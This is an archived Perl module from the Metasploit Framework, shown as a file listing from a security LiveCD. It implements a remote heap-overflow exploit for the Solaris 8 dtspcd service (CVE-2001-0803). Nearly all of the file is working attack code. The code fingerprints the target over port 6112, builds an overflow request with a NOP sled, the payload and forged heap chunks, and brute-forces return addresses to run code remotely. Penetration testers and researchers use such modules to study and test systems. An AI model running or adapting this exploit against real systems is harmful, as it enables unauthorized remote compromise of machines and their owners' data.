home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / solaris_dtspcd_noir.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  201 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::solaris_dtspcd_noir;
  11. use base "Msf::Exploit";
  12. use IO::Socket;
  13. use IO::Select;
  14. use strict;
  15. use Pex::Text;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'    => 'Solaris dtspcd Heap Overflow',
  22.     'Version' => '$Revision: 1.15 $',
  23.     'Authors' =>
  24.       [
  25.         'noir <noir [at] uberhax0r.net>',
  26.         'H D Moore <hdm [at] metasploit.com>'
  27.       ],
  28.     
  29.     'Arch'  => [ 'sparc' ],
  30.     'OS'    => [ 'solaris' ],
  31.     'Priv'  => 1,
  32.  
  33.     'UserOpts'  =>
  34.       {
  35.         'RHOST' => [1, 'ADDR', 'The target address'],
  36.         'RPORT' => [1, 'PORT', 'The dtogin service port', 6112],
  37.       },
  38.  
  39.     'Payload' =>
  40.       {
  41.         'Space'        => 800,
  42.         'BadChars'    => "\x00\x0d",
  43.         'PrependEncoder' => (pack('N', 0xa41c4011) x 3),
  44.       },
  45.  
  46.     'Description'  => Pex::Text::Freeform(qq{
  47.         This is a port of noir's dtspcd exploit. This module should work against
  48.     any vulnerable version of Solaris 8 (sparc). The original exploit code
  49.     was published in the book Shellcoder's Handbook.
  50. }),
  51.  
  52.     'Refs'  =>
  53.       [
  54.         ['OSVDB', '4503'],
  55.         ['CVE', '2001-0803'],
  56.         ['URL', 'http://www.cert.org/advisories/CA-2001-31.html'],
  57.         ['URL', 'http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],
  58.         ['MIL', '61'],
  59.       ],
  60.  
  61.     'Targets' =>
  62.       [
  63.         ['Solaris8', 0xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ],
  64.       ],
  65.  
  66.     'Keys'  => ['dtspcd'],
  67.  
  68.     'DisclosureDate' => 'Jul 10 2002',
  69.   };
  70.  
  71. sub new {
  72.     my $class = shift;
  73.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  74.     return($self);
  75. }
  76.  
  77. sub Check {
  78.     my $self = shift;
  79.     my $target_host = $self->GetVar('RHOST');
  80.     my $target_port = $self->GetVar('RPORT');
  81.  
  82.     if(! $self->get_uname) {
  83.         $self->PrintLine("[*] No response from the dtlogin service");
  84.         return $self->CheckCode('Safe');
  85.     }
  86.  
  87.     # XXX - probe service for crash
  88.     return $self->CheckCode('Detected');
  89. }
  90.  
  91. sub Exploit {
  92.     my $self = shift;
  93.     my $target_host = $self->GetVar('RHOST');
  94.     my $target_port = $self->GetVar('RPORT');
  95.  
  96.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  97.     my $target_idx  = $self->GetVar('TARGET');
  98.     my $target      = $self->Targets->[ $target_idx ];
  99.  
  100.     if(! $self->get_uname) {
  101.         $self->PrintLine("[*] No response from the dtlogin service");
  102.         return;
  103.     }
  104.  
  105.     my ($res, $req);
  106.  
  107.     for my $tjmp ( @{ $target->[5] } ) {
  108.         for (my $rbase  = $target->[2]; $rbase < $target->[3]; $rbase += $target->[4] ) {
  109.             $self->PrintLine("[*] Trying ".sprintf("0x%.8x 0x%.8x", $target->[1] + $tjmp, $rbase));
  110.             return if ! $self->attack($target->[1] + $tjmp, $rbase, $shellcode);
  111.             return if ! $self->attack($target->[1] + $tjmp, $rbase + 4, $shellcode);
  112.         }
  113.     }
  114. }
  115.  
  116. sub spc_setup {
  117.     my $self = shift;
  118.     my $s = Msf::Socket::Tcp->new
  119.       (
  120.         'PeerAddr'  => $self->GetVar('RHOST'),
  121.         'PeerPort'  => $self->GetVar('RPORT'),
  122.         'LocalPort' => $self->GetVar('CPORT'),
  123.         'SSL'       => $self->GetVar('SSL'),
  124.       );
  125.  
  126.     if ($s->IsError) {
  127.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  128.         return;
  129.     }
  130.  
  131.     $self->{'SOC'} = $s;
  132.     return $s;
  133. }
  134.  
  135. sub spc_register {
  136.     my ($self, $user, $buff) = @_;
  137.     return "4 "."\x00".$user."\x00\x00"."10"."\x00".$buff;
  138. }
  139.  
  140. sub spc_write {
  141.     my ($self, $buff, $cmd) = @_;
  142.     my $req = sprintf("%08x%02x%04x%04x  %s", 2, $cmd, length($buff), ++$self->{'SEQ'}, $buff);
  143.     return if ! $self->{'SOC'};
  144.     return $self->{'SOC'}->Send($req);
  145. }
  146.  
  147. sub spc_read {
  148.     my $self = shift;
  149.     return if ! $self->{'SOC'};
  150.     my $buff = $self->{'SOC'}->Recv(20, 5);
  151.     my $chan = hex(substr($buff, 0, 9));
  152.     my $cmd  = hex(substr($buff, 9, 1));
  153.     my $mbl  = hex(substr($buff, 10, 4));
  154.     my $seq  = hex(substr($buff, 14, 4));
  155.     $buff = $self->{'SOC'}->Recv($mbl, 5);
  156.     return $buff;
  157. }
  158.  
  159. sub get_uname {
  160.     my $self = shift;
  161.     return if ! $self->spc_setup;
  162.     $self->spc_write($self->spc_register('root', "\x00"), 4);
  163.     my $buff = $self->spc_read;
  164.     $buff =~ s/\x00//g;
  165.  
  166.     my ($host, $os, $ver, $arch) = split(/:/, $buff);
  167.     return if ! $host;
  168.  
  169.     $self->PrintLine("[*] Detected dtspcd running $os v$ver on $arch hardware");
  170.     $self->spc_write("", 2);
  171. }
  172.  
  173. sub get_chunk {
  174.     my ($self, $retloc, $retadd) = @_;
  175.     return
  176.       "\x12\x12\x12\x12" . pack('N', $retadd).
  177.       "\x23\x23\x23\x23\xff\xff\xff\xff".
  178.       "\x34\x34\x34\x34\x45\x45\x45\x45".
  179.       "\x56\x56\x56\x56" . pack('N', $retloc - 8);
  180. }
  181.  
  182. sub attack {
  183.     my ($self, $retloc, $retadd, $fcode) = @_;
  184.     return if ! $self->spc_setup;
  185.  
  186.     my $req = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" x ((4096 - 8 - length($fcode)) / 8);
  187.     $req .= $fcode .
  188.       "\x00\x00\x10\x3e\x00\x00\x00\x14".
  189.       "\x12\x12\x12\x12\xff\xff\xff\xff".
  190.       "\x00\x00\x0f\xf4".
  191.       $self->get_chunk($retloc, $retadd);
  192.  
  193.     $req .= "A" x ((0x103e - 8) - length($req));
  194.  
  195.     $self->spc_write($self->spc_register("", $req), 4);
  196.     my $res = $self->{'SOC'}->Recv(-1, 5);
  197.     return 1;
  198. }
  199.  
  200. 1;
  201.